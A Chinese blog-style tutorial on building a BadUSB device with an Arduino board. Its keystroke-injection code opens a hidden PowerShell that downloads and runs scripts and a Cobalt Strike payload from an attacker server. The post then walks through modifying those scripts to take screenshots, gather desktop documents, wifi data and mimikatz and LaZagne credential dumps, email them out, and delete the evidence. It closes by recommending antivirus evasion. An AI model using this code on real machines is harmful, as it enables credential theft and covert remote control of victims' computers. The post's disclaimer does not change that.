0、前言
最近在做个针对BADUSB的专题,所以静下心来对这这方面做了一些简单的测试和研究,正好可以结合Cobalt Strike、结合其他功能代码做个联合测试。所以斥资花了50多块钱买了USB开发板。
在正文开始之前,先炫耀一下自己的测试装备。
1.机械键盘
买了个键线分离,三模机械键盘,虽然手感和顶级的没法比,但是好在支持蓝牙、支持热插拔、支持充电电池的内卷键盘。
支持蓝牙的好处是可以连接手机远程登录VPS。
同时支持3个设备配对,笔记本和手机之间无缝切换,穿格子衫的快乐就是这么简单。
然后花了几十块钱买了个茶轴和白色键帽,也就是说有2套轴,2套帽,搭配着用。
2.显示器
同事做测试的显示器,这个没有花钱,临时借用。因为是很老的显示器,最高分辨率只到1600*900,凑合用吧。
至少支持kali虚拟机扩展到显示器,相当于2台主机。
1、准备工作
关于BadUSB的原理、介绍、危害、防范详情请查看网上文档。这里直接来干货。
a。首先需要一个开发板,网店上有好多售卖的。
我买了2个,一个是Arduino Micro,一个是Digispark。
b。软件:Arduino
建议从官方下载,如果是Arduino开发板的话,官方下载的安装版本自带驱动,不需要另外安装。我没有使用绿色免安装版。
c。准备一台VPS,如果没有条件可以使用本地局域网环境。
d。下载BadUSB脚本,github上有一个不错的。
https://github.com/Xyntax/BadUSB-code
2、测试过程
2.1 制作BADUSB
a。将BADUSB插入笔记本,打开Arduino,复制代码到编辑区域。
#include <Keyboard.h>
void setup(){//初始化
Keyboard.begin();//开始键盘通讯
delay(6000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.println("CMD");
delay(200);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(300);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***:9999/MAIN.PS1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(600);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.println("CMD");
delay(200);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(200);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***:9999/payload.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯
}
void loop() {}
修改星号部分变成自己服务器的IP地址。
点击验证/编译,通过以后再点击上传。
上传成功。
这是2个功能,一个是执行MAIN.PS1,一个是执行payload.ps1。2个可以同时使用,也可以单独使用,自行编辑即可。
第一个是github上的脚本,配套Command.rar,GetPass.rar,GetPass.ps1使用。
将Command.rar,GetPass.rar,GetPass.ps1,main.ps1放置到服务器上,开启web服务,保证客户端可以访问到。
第二个是自己用CS生成的payload,搭配侦听器使用。先生成侦听器,如下图:
再生成payload,如下图:
将生成的payload.ps1放置到服务器相应目录下。可以直接打开下载地址,测试是否能成功下载。
2.2 脚本准备
main.ps1文件内有个功能是屏幕截图,结果一直是黑屏,本人不太擅长编码,但是依葫芦画瓢改了一下,还是实现了。
原main.ps1
大概位置2993–3005
$displayInfo = Get-WmiObject Win32_DesktopMonitor | Where {$_.Name -eq 'Default Monitor'}| Select ScreenHeight, ScreenWidth
$displayWidth = $displayInfo.ScreenWidth
$displayHeight = $displayInfo.ScreenHeight
[System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
$jpegName = (get-date).ToString('HHmmss')
$image = new-object System.Drawing.Bitmap 1920 ,1080
$imageSize = New-object System.Drawing.Size $displayWidth,$displayHeight
$screen = [System.Drawing.Graphics]::FromImage($image)
$screen.copyfromscreen(0,0,0,0, $imageSize,([System.Drawing.CopyPixelOperation]::SourceCopy))
$image.Save("$jpegSaveDir/$jpegName.jpeg",([system.drawing.imaging.imageformat]::jpeg));
更改后:
Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing
$jpegName = (get-date).ToString('HHmmss')
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
$bitmap.Save("$jpegSaveDir/$jpegName.jpeg");
同时收集桌面office文件和系统信息打包到压缩文件Report.ZIP,并发送到邮箱,这里需要设置邮件发送设置。
大概在3000行附近:
$SMTPServer = 'smtp.163.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 25)
$SMTPInfo.EnableSsl = $false
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('***@163.com', '*********');
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = '***@163.com'
$ReportEmail.To.Add('***@163.com')
$ReportEmail.Subject = 'Report'
$ReportEmail.Body = 'Report'
原作者说不支持163邮箱,我测试以后发现是支持的。主要是否SSL加密,端口号,邮箱服务器地址,邮箱地址要填写正确。
重要的是密码部分,需要在邮箱申请,并不是真正的登录密码,而是申请时生成的一个字符串。
同时还要修改2854左右行。
IEX (New-Object Net.WebClient).DownloadString('http://www.xxx.xxx/GetPass.ps1');
修改IP地址,这一步是执行GetPass.ps1。
这个文件内容也需要修改:
(new-object System.Net.WebClient).DownloadFile('http://www.xxx.xxx/GetPass.rar','D:\Get.exe');
(new-object System.Net.WebClient).DownloadFile('http://www.xxx.xxx/Command.rar','D:\Command.bat');
D:\Command.bat;
$SMTPServer = 'smtp.qq.com'
$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
$SMTPInfo.EnableSsl = $true
$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('xxxxx@qq.com', 'olawgxxxxxxx');
$ReportEmail = New-Object System.Net.Mail.MailMessage
$ReportEmail.From = 'xxxxx@qq.com'
$ReportEmail.To.Add('xxxxx@qq.com')
$ReportEmail.Subject = 'GetPass'
$ReportEmail.Body = 'GetPass_text'
$ReportEmail.Attachments.Add('D:\GetPass.txt')
$SMTPInfo.Timeout = 1000000
$SMTPInfo.Send($ReportEmail)
$ReportEmail.Attachments.Dispose()
remove-item 'D:\GetPass.txt'
remove-item 'D:\Get.exe'
同样要修改邮箱发送设置和下载文件路径设置。
2.3 效果
插入U盘,会有个cmd窗口弹出,时间很短就会关闭。
2.4 避坑指南
我的服务器是某云VPS服务器,操作系统Ubuntu 20.04,模拟键盘输入的时候为避免输入法,切换到大写,Linux系统区分大小写,可能找不到文件。所以建议放置MANI.PS1,main.ps1大小写文件各一份,内容一样。
main.ps1文件还有个作用是收集桌面txt,doc,docx,xls,xlsx,所以建议在靶机上放置几个样本文件,没有样本不行,估计脚本里没有考虑没有文件的判断条件。
靶机要有D盘,因为过程中要在D盘下载临时文件。
使用administrator用户登录系统,插入U盘。
我测试管理员组其他用户可以远控,可以收到邮件,但邮件内没有内容。
因为一些临时文件放到c:\windows目录下。
3、测试结果
1、发送的邮件
会受到2封邮件,下载到本地。
获取桌面文件在Doc目录,Duck文件夹收集靶机wifi信息,Screenshots是屏幕截图,ComputerInfo是系统信息,DumpPass是mimikatz收集的用户及用户凭证。
上图是屏幕截图,在修改main.ps1前是全黑屏。
另外一封邮件是GetPass.txt,实际上是LaZagne收集的信息,LaZagne支持的密码收集:
等等。
2、远控
常规的CS远控。
在网上有个小伙说这种U盘可以用到某些办事大厅,那里的办事终端大都管控不严,防范意识比较差,可以做一些事情。
这个观点确实很新颖,赞赏这种跳跃式的思考方式,不赞赏这种行为。不是有句话说KALI学的好,牢饭吃的饱吗?
4、总计
以上是初步的功能测试,在实际使用时需要对payload.ps1免杀,main.ps1免杀,才能达到更好的效果。
郑重声明一下 :以上测试仅作为技术学习和测试,违法使用后果自负。
某些内容参考以下链接:
https://blog.csdn.net/m0_49605975/article/details/109248406